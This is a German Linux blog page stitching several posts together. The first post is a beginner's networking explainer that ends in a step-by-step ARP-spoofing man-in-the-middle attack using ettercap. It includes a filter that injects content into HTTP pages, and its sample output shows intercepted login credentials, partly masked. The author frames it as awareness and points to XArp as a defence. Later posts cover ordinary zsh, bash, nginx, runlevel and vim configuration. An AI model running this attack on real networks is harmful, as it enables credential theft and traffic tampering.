Hacken für Anfänger

Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen, :-) dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.


1.) Erklärung


1.1.) Am Anfang ist immer eine Information z.B. diese Webseite und damit Sender und Empfänge sich verstehen können, wurde vorher eine Sprache / Verfahren festgelegt, wie man diese Information darstellt. Das ist wie im wirklichen Leben, man kann nicht jede Information gleich behandel, es gibt wichtige, sensible Informationen und dann auch wieder irgendwelche Floskeln (Guten Tag!) die nicht sonderlich wichtig sind.


HTTP: Bei dieses Protokoll möchten wir, dass die Nachricht auch wirklich beim Empfänger ankommen. Es ist wie eine normale Unterhaltung zwischen zwei Personen, wenn der Empfänger etwas nicht verstanden hat (die Daten nicht korrekt angekommen sind), fragt er noch einmal nach. – Port 80


HTTPS: Dieses Protokoll ist für die bereits erwähnten sensiblen Daten gedacht, man kann sich dies auch als eine Unterhaltung zwischen zwei Personen vorstellen, jedoch mit dem Unterschied, dass die beiden sich vorher auf eine nur für Sie verständliche Kommunikation vereinbart haben. – Port 443


SMTP: Mithilfe von diesem Protokoll verschickt man E-Mails. Man kann sich das vorstellen, als ob man bei der Poststelle einen Brief abgibt, welcher dann erst-einmal gesammelt, verarbeitet und dann verschickt wird. Als erstes authentifiziert man sich und danach gibt man den kompletten Brief (E-Mail) am Schalter ab. – Port 25


Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.

auf deinem PC:

telnet "server" 25

HELO “server”

MAIL FROM:test@server.de

RCPT TO:test2@server2.de


Nun kannst du die E-Mail schrieben, mit einem “.” beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit…

nc -v suckup.de 25

… ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.


nc -v suckup.de 80



Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.

cat /etc/protocols


Einen “Port“, kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).


Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.

1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung

cat backup.iso | nc -l 3333

2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen

nc 192.168.0.1 3333 > backup.iso

-> weitere Infos zu nc


[stextbox id=”info”]Somit gibt es noch etliche weitere Beispiele, wo Anwendungen durch ein bestimmtes Protokoll miteinander kommunizieren und wir hätten bereits die obersten Schichten 7 & 6 & 5 – die Anwendungs- & Darstellungs- & Sitzungsschicht die sogenannten “Anwendungsorientierten Schichten” grob erklärt. (wobei die letzte ein abgebrochenes Gespräch wieder an einer Vorherigen stelle beginnen kann… nur um dazu auch ein paar Wort verloren zu haben)[/stextbox]


1.2.) Als nächstes müssen wir uns Vorstellen, dass diese ‘Sätze’ welche die Personen miteinander sprechen (also die Daten, welche Sie austauschen) nicht Satz für Satz gesprochen (übertragen) werden, sondern jedes Wort wird einzeln gesprochen und mit einer laufenden Nummer versehen.


z.B.:
Sender schickt folgendes Satz ->
1.Hallo 2.du 3.da, 4.was 5.geht?


Daten kommen durcheinander beim Empfänger an ->
4.was 2.du 1:Hallo 3.da 5.geht?


Und der Empfänger setzt den Satz wieder zusammen ->
Hallo du da, was geht?


Somit kann man die einzelnen Wörter auf verschiedenen Wegen zum Empfänger schicken und diese können zu verschiedenen Zeiten ankommen, der Empfänger versteht die Nachricht trotzdem. Außerdem kann es manchmal nötig sein, jemanden auf ein Gespräch hinzuweisen (Verbindung aufbauen) indem man z.B. dessen Hand schüttelt und der gegenüber nun weiß, dass nun die Kommunikation folgt und beim beendigen der selbigen, diesen Vorgang wiederholt. Falls man in diesem Fall etwas nicht verstanden hat (Daten auf dem Weg verloren gingen) kann man einfach noch einmal Nachfragen. (Drei-Wege-Handschlag – TCP)


Es  gibt jedoch auch Situationen, wo es vorkommt, dass die Kommunikation bei einer “Frage” <-> “Antwort” bleib,. zum Beispiel die Frage nach dem Wetter. Und wenn man von seinem gegenüber keine Antwort bekommt, dann halt nicht ;-) und man fragt noch einmal. Dieses Prinzip wendet man z.B. bei der Auflösung von einer IP zum Hostnamen (DNS) an, um nicht zu viel Overhead (zu viel Aufwand, für eine so kurze Antwort) zu erzeugen. – (UDP)


[stextbox id=”info”]Somit haben wir nun bereits die 4 Schicht – die Transportschicht erklärt.[/stextbox]


1.3.) Stellen wir uns weiter vor, dass wir nicht direkt vor unserm Gesprächspartner stehen, sondern dieser weit weg ist, daher schicken wir die einzelnen Wörter nun per Post und verpacken die “Sätze” (Daten) -> “Wörter” (Segmente) -> in Kisten (Paketen). Diese Kisten wenden nun über mehrere Wege von verschiedenen Poststellen (Routern) zum Ziel geliefert.


Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.

Als erstes schauen wir und unsere eigene IP-Adresse an.

ifconfig

Beispiel: Ausgabe

[...]
Link encap:Ethernet  Hardware Adresse 00:25:56:37:5b:96  
inet Adresse:192.168.2.103  Bcast:192.168.2.255  Maske:255.255.255.0
[...]

Hier können wir nun sehr viele hilfreiche Infos finden:

Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse

inter Adresse: deine IP-Adresse

Bcast: die letzte IP-Adresse in diesem Netzwerk

Mask: die Aufteilung von deinem Netz


In meinem Beispiel habe ich selber die IP-Adresse “192.168.2.103” und die Netzmaske “255.255.255.0” daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:

00000001 = 1

00000010 = 2

00000011 = 3

[…]

11000000 10101000 00000010 01100111

+ 11111111 11111111 11111111 00000000

————————

11000000 10101000 00000010 00000000


Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:

255.255.255.0 -> 11111111 11111111 11111111 | 00000000

Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen – (Supernetting)

2⁸ = 256 – 1 (Braodcast) – 1 (Netzadresse)

254 -> Hostanteil

Man kann nun den Hostanteil auch anders darstellen.

24 x I -> /24


Mit diesen Infos können wir nun mithilfe von “nmap” das Netz nach aktiven PCs durchsuchen.

nmap -v -sP 192.168.2.255/24


Und ggf. auch nach offenen Ports im Netz suchen.

nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'


[stextbox id=”info”]Und somit auch die 3 Schicht – die Vermittlungschicht abgeschlossen.[/stextbox]


1.4.) Die Pakete kommen nun alle beim Hausmeister (Switch) an, dieser schreit nun durch das Treppenhaus, (Broadcast) wo Familie Müller wohnt (ARP) sollte sich nun zufällig ein böser Nachbar melden (ARP-Spoofing) und die Pakete annehmen, aufmachen, verändern, neu einpacken und an den ursprünglichen Empfänger weiterreichen, ohne das dieser davon etwas mitbekommt, haben wir eine sogenannte “Man In The Middle” Taktik angewandt.


[stextbox id=”info”]Und somit die 2 Schicht – die Sicherungsschicht ausgetrickst.[/stextbox]


1.5.) Vor nicht alt so langer Zeit, wurden keine Hausmeister eingesetzt, die waren zu teuer, ;-) da musste der arme Postbote (Hub) alle Pakete an alle Mieter im Haus ausliefern. (An alle Computer im Netz alle Pakete schicken.) Man kann sich vorstellen, was das für ein Durcheinander war und das dies zu Problemen führte.


[stextbox id=”info”]Und somit auch die 1 Schicht – die Bitübertragungsschicht angesprochen.[/stextbox]



Kommen wir zum Punkt. Brauchte man in älteren Netzwerken, deren PCs über einen Hub miteinander verbunden waren, somit nur ein Sniffer-Programm z.B. Ethereal, um den gesamten Datenverkehr mitzulesen. Muss man heute meist “ARP-Spoofing” und somit eine “Man In The Middle” Methode anwenden, um an diese Daten zu kommen.


Angriff von innen

2.) System vorbereiten


Welches Interface wird verwendet?

mein_interface="wlan0"
folgende Befehle ausführen
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
Nun installieren wie folgendes Programm: ettercap
aptitude install ettercap-common ettercap
Und passen dessen Konfiguration ein wenig an…
vim /etc/eppercap
…ec_uid & ec_gid auf 0 stellen…
[…]
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
[…]
…und # vor den iptables-Regeln entfernen…
[…]
# if you use iptables:
redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
[…]
…nun wechseln wir in folgendes Verzeichnis…
cd /usr/share/ettercap
(ggf. eigene Firewall ausschalten)
….und erstellen einen neuen Filter (neue Datei), welcher in “img”-Tag von HTML Dateien, welche per TCP von Port 80 verschickt wurden, ersetzt….
vim filter.pic
Inhalt:
if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
                replace("Accept-Encoding", "Accept-Rubbish!");
                msg("zapped Accept-Encoding!\n");
        }
}

if (ip.proto == TCP && tcp.src == 80) {
        replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
        replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
…nun übersetzten wir den neuen Filter…
etterfilter filter.pic -o filter.ef
…und starten das Programm…

3.) Hack durchführen

sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[…]
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
HTTP : 217.188.35.145:443 -> USER: ******@web.de  PASS: *******  INFO: http://www.studivz.net/
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
[…]
Habe die Zugangsdaten in diesem Beispiel durch “*” ersetzt, in deinem Log stehen diese dann im Klartext. :-)
Bild-Fehler
Dies soll jedoch keineswegs eine Anleitung sein ein “böser” Hacker zu werden, sondern ich wollte verdeutlichen, wie einfach es ist einen solchen Hack durchzuführen und ggf. an sensible Daten zu kommen. Daher, solltest du solche oder ähnliche Fehlermeldungen im Browser sehen, solltest du sehr vorsichtig sein.
SSL-Fehler
Und dir ggf. folgendes Programm (auch für Windows verfügbar) installieren. -> XArp <-
Wer mehr Infos zu diesem Thema sucht, sollte sich den folgenden Artikel -> www.heise.de/security/artikel/Angriff-von-innen <- durchlesen und sich folgende PDF-Datei herunterladen -> pi1.informatik.uni-mannheim.de/filepool/teaching/sicherheit-2006/ITS_20061128.pdf <-

.zshrc

Die Z-Shell ist eine alternative Shell, welche voll konfigurierbar ist. In erster Linie habe ich die Einstellungen in der “~/.zshrc”-Datei vorgenommen. Wer lieber die Bash verwendet, kann hier meine .bashrc finden.

 

Z-Shell installieren:

sudo aptitude install zsh

 

Z-Shell ausprobieren:

zsh

 

Standardmäßig die Z-Shell verwenden:

sudo chsh -s /usr/bin/zsh `whoami`

 

Download:

https://github.com/voku/dotfiles/blob/master/.zshrc

 

Wenn du einige Funktionen und Einstellungen von meiner .zshrc übernehmen möchtest, musst du ggf. vorher folgende Befehle ausführen.

mkdir -p ~/.zsh/cache

 

Und falls du deine alte History verwenden möchtest, auch noch diese Befehle.
cp -pv ~/.bash_history ~/.zsh_history

 

Um einige Funktionen der Zsh zu zeigen, habe ich ein kleines Video per “recordmydesktop” aufgenommen. Die Zsh hat eine sehr ausgeprägte Autovervollständigung (einfach mal <TAB> drücken), welche man bis ins kleinste per .zshrc einstellen kann.

 

Zum Schluss noch zwei hilfreiche Links zum Thema: zsh

burnachurch.com/318/zsh-die-bessere-shell

wiki.ubuntuusers.de/zsh

Glückskekse in der Muschel

Wer bei jedem Login in der bash einen Glückskeks-Spruch lesen will, kann mit folgendem Befehl Glückskeks installieren…

aptitude install fortunes fortunes-de

… nun müssen dies wir nur noch in der ~/.bashrc Datei einfügen:

# Sprueche in der bash
if [ -f /usr/games/fortune ]; then
        /usr/games/fortune
fi

 

z.B.:

Ein Theologe diskutiert mit einer Architektin:Er: Ich weiß nicht, warum Sie sich aufregen. Gott hat doch zuerst denMann gebaut und dann die Frau. Die Reihenfolge wäre damit dochgeregelt.Sie: Ja, ich mache auch immer zuerst eine Skizze.

SSH-Hostnamen vervollständigen

Bereits vor einiger Zeit habe ich beschrieben, wie du die “bash” (Standard-Shell) an deine Bedürfnisse anpassen kannst. Heute zeige ich noch einen kleinen Trick, um Hostnamen im ssh-Befehl zu vervollständigen.

complete -W "host1 host2 host3" ssh


Um den Befehl im der bash einzubinden, schreiben wir diesen in die ~/.bashrc Datei und lagern die Hostnamen (pro Zeile – einen Hostname) in einer Datei aus, so dass wir diese ggf. schnell ergänzen können.

vim ~/.ssh/hosts
vim ~/.bashrc
complete -W "$(<~/.ssh/hosts)" ssh


Als alternative Shell sollte man sich auch einmal “zsh” anschauen. :-)

Nginx + WordPress

Ich habe bereits in einem vorherigem Blog-Post erklärt, wie du “Nginx” (Webserver) unter Debian und / oder Ubuntu installierst. Heute zeige ich mit einigen Beispielen, wie du Nginx konfigurierst, diese Einstellungen werden in dem entsprechendem “Virtual Host” (/etc/nginx/sites-enabled/*.conf) durchgeführt.

## Slash am Ende anfuegen
if ($request_uri ~* "^[\w\-\/]+[^\/?]$") {
    rewrite ^(.*)$ $scheme://$host$1/ permanent;
}
## entferne doppel-slashes //
if ($request_uri ~* "\/\/") {
    rewrite ^/(.*) $scheme://$host/$1 permanent;
}
## www eifuegen
if ($host !~* ^(www|subdomain)) {
    rewrite ^/(.*)$ $scheme://www.$host/$1 permanent;
}
## www vorne entfernen
if ($host ~* ^www\.(.*)) {
    set $host_without_www $1;
    rewrite ^(.*)$ http://$host_without_www$1 permanent;
}
## immer SSL verwenden
    rewrite ^(.*) https://$server_name$1 permanent;
## immer HTTP verwenden
    rewrite ^(.*) http://$server_name$1 permanent;
## WordPress3
if (!-e $request_filename) {
    rewrite ^(.+)$ /index.php?q=$1 last;
    break;
}
## WordPress3 MU
if (!-e $request_filename) {
    rewrite ^.+/?(/wp-.*) $1 last;
    rewrite ^.+/?(/.*\.php)$ $1 last;
    rewrite ^(.+)$ /index.php?q=$1 last;
    break;
}
## WordPress3 Multi-Domain
rewrite ^.*/files/(.*)$ /wp-includes/ms-files.php?file=$1 last;
if (!-e $request_filename) {
    rewrite ^.+/?(/ms-.*) $1 last;
    rewrite ^/files/(.+) /wp-includes/ms-files.php?file=$1 last;
    rewrite ^.+/?(/wp-.*) $1 last;
    rewrite ^.+/?(/.*.php)$ $1 last;
    rewrite ^(.+)$ /index.php?q=$1 last;
    break;
}
location ~* ^.+.(htm|html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$ {
    access_log off;
    expires max;
    root /var/www/www.domain.de/web/;
    rewrite ^/.(/wp-.*/.*.(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js))$ $1 last;
    rewrite ^.*/files/(.*(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js))$ /wp-includes/ms-files.php?file=$1 last;
    if (!-e $request_filename) {
        rewrite ^.+/?(/wp-.*) $1 last;
        rewrite ^.+/?(/.*.php)$ $1 last;
        rewrite ^(.+)$ /index.php?q=$1 last;
        access_log off;
        expires max;
        break;
    }
}
## WordPress-Forum
if (!-e $request_filename) {
    rewrite ^/forums/topic/(.*)$ /forums/topic.php?q=$1 last;
    rewrite ^/forums/forum/(.*)$ /forums/forum.php?q=$1 last;
    rewrite ^/forums/profile/(.*)$ /forums/profile.php?q=$1 last;
    rewrite ^/forums/view/(.*)$ /forums/view.php?q=$1 last;
    rewrite ^/forums/tags/(.*)$ /forums/tags.php?q=$1 last;
    rewrite ^/forums/rss/(.*)$ /forums/rss.php?q=$1 last;
    rewrite ^/forums/bb-admin/ /forums/bb-admin/index.php last;
    rewrite ^/forums/ /forums/index.php last;
    break;
}
## Feedburner
if ($http_user_agent !~ FeedBurner) {
    rewrite ^/comment/feed/?$ http://feeds.feedburner.com/domain last;
    rewrite ^/feed/?$ http://feeds.feedburner.com/domain last;
}
## WordPress W3 Total Cache
set $totalcache_file '';
set $totalcache_uri $request_uri;
if ($request_method = POST) {
    set $totalcache_uri '';
}
if ($query_string) {
    set $totalcache_uri '';
}
if ($http_cookie ~* "comment_author_|wordpress|wp-postpass_" ) {
    set $totalcache_uri '';
}
if ($totalcache_uri ~ ^(.+)$) {
    set $totalcache_file /wp-content/w3tc-$http_host/pgcache/$1/_default_.html;
}
if (-f $document_root$totalcache_file) {
    rewrite ^(.*)$ $totalcache_file break;
}

ggf. kann man auch gzip-Dateien ausgeben lassen: set $totalcache_file /wp-content/w3tc$http_host/pgcache/$1/_default_.html.gzip;

## WordPress SuperCache
set $supercache_file '';
set $supercache_uri $request_uri;
if ($request_method = POST) {
    set $supercache_uri '';
}
if ($query_string) {
    set $supercache_uri '';
}
if ($http_cookie ~* "comment_author_|wordpress|wp-postpass_" ) {
    set $supercache_uri '';
}
if ($supercache_uri ~ ^(.+)$) {
    set $supercache_file /wp-content/cache/supercache/$http_host/$1index.html;
}
if (-f $document_root$supercache_file) {
    rewrite ^(.*)$ $supercache_file break;
}
if (!-e $request_filename) {
    rewrite . /index.php last;
}
location ~* ^.+.(htm|html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$ {
    access_log off;
    expires max;
    root /var/www/www.domain.de/web/;
}
## .htaccess & .htpassword sperren
location ~ /\.ht {
    deny  all;
}


Weitere Infos findest du im Wiki von nginx: wiki.nginx.org/Wordpress

Dienste unter Debian / Ubuntu deaktivieren

Da ich vor einiger Zeit von “Apache2” zu “nginx” als Webserver umgestiegen bin, den “alten Indianer” jedoch in der Zwischenzeit noch auf einem anderen Port (127.0.0.1:8080) aktiv hatte, war es nun an der Zeit diesen abzuschalten.


Jeder Dienst besitzt ein Start-/Stop-Skript im Verzeichnis /etc/init.d diese werden dann den verschiedenen Runleveln zugeordnet.


/etc/rc0.d – Während das System herunterfährt
/etc/rcS.d – Während des Bootens ausführen
/etc/rc1.d – Arbeiten als einzelner Benutzer
/etc/rc2.d – Mehrbenutzerbetrieb inkl. Netzwerk
/etc/rc3.d bis /etc/rc5.d – Nicht genutzt
/etc/rc6.d – Während das System neu startet


Der Standard Runlevel von Debian / Ubuntu ist 2. Um diese Zuordnungen zu verstehen, zeige ich einfach ein Beispiel:

Befehl:

ls -alhF /etc/rc2.d/S20php5-fpm

Ausgabe:

lrwxrwxrwx 1 root root 18 28. Aug 02:10 /etc/rc2.d/S20php5-fpm -> ../init.d/php5-fpm*

Wie man sieht handelt es sich hierbei um einen Symbolischer-Link welcher auf ein Start-/Stop-Skript zeigt. Um diese Zuordnung zu ändern gibt es den Befehl “update-rc.d”

update-rc.d apache2 defaults

Defaults bedeutet, dass Apache in den Runleveln 2-5 gestartet und in allen anderen beendet wird.
In meinem Fall wollte ich den Dienst ausschauten und daher die Links entfernen, dies hab ich mittels diesem Befehl gemacht.

update-rc.d -f apache2 remove

Die Reihenfolge, vor/nach welchen anderen Scripts ein Dienst starten soll, wird über folgende Einstellungen geregelt.

Möchte man Apache z.B so einrichten, dass er nur in Runlevel 4 und 5 und nach allen anderen Diensten gestartet wird (99) , benutzt man folgende Zeile:

update-rc.d apache2 start 99 4 5 stop 01 0 1 2 3 6

Die Zeile hat folgende Bedeutung: Füge Startlinks (die mit “S99…” beginnen) in /etc/rc4.d und /etc/rc5.d ein, füge außerdem Stoplinks (die mit “K01…” beginnen) in den anderen rc.xd-Verzeichnissen ein. Apache wird also bei Runlevel-Wechseln zuletzt gestartet und zuerst wieder beendet.


Alternativ gibt es ein Front-End, welches dies ebenfalls erledigen kann, dieses muss in den meisten Fällen jedoch erst-einmal installiert werden.


aptitude install sysv-rc-conf
sysv-rc-conf

Mit dem Befehl “sysv-rc-conf” kannst du nun sehr bequem Dienst ein-/ und ausschalten. (dies hat natürlich keinen Einfluss auf die momentan laufenden Prozesse, dieser musst du z.B. mit “/etc/init.d/apache2 stop” oder “pkill apache2” beenden)

vim – Tastaturbelegung



vi-vim-cheat-sheet_de_layout
vi-vim-cheat-sheet_de_layout



Das Bild hab ich zufällig auf dem IrfanViewMirror gefunden… :-)

vim – retab

Wie bereits in meinem vim-HowTo beschreiben kann man Tabs in beliebig viele Leerzeichen umwandel.

z.B.: aus allen Tabs, Leerzeichen machen:

:set tabstop=4
:set shiftwidth=4
:set expandtab
:retab

Um nun jedoch Leerzeichen in Tabs zu verwandeln, muss man sich einem kleinen Trick behelfen.

:command! -nargs=1 -range SuperRetab <line1>,<line2>s/\v%(^ *)@<= {<args>}/\t/g

PS: diesen Befehl kannst du auch fest in deiner ~/.vimrc -Datei eintragen

Nun kannst du per…

:'<,'>SuperRetab 4

… diese Leerzeichen wieder in Tabs umwandeln!

vim-Plugin – matchit

Wie ich bereits in einem älteren Post (vim-HowTo) beschrieben habe, kann man im Editor “vim” zur nächsten zugehörigen Klammer springen, wie folgendes Beispiel zeigt:

matchit-vim-example

Um dieses Prinzip auch auf z.B. “if – fi” in shell-Skripten anzuwenden, muss du folgende Kommandos im vim ausführen.

:!mkdir ~/.vim
:!mkdir ~/.vim/plugin
:!cp $VIMRUNTIME/macros/matchit.vim ~/.vim/plugin
:!mkdir ~/.vim/doc
:!cp $VIMRUNTIME/macros/matchit.txt ~/.vim/doc
:helptags ~/.vim/doc

Die neuen Befehle kannst du dir nun mit …

:help g%

… anzeigen lassen.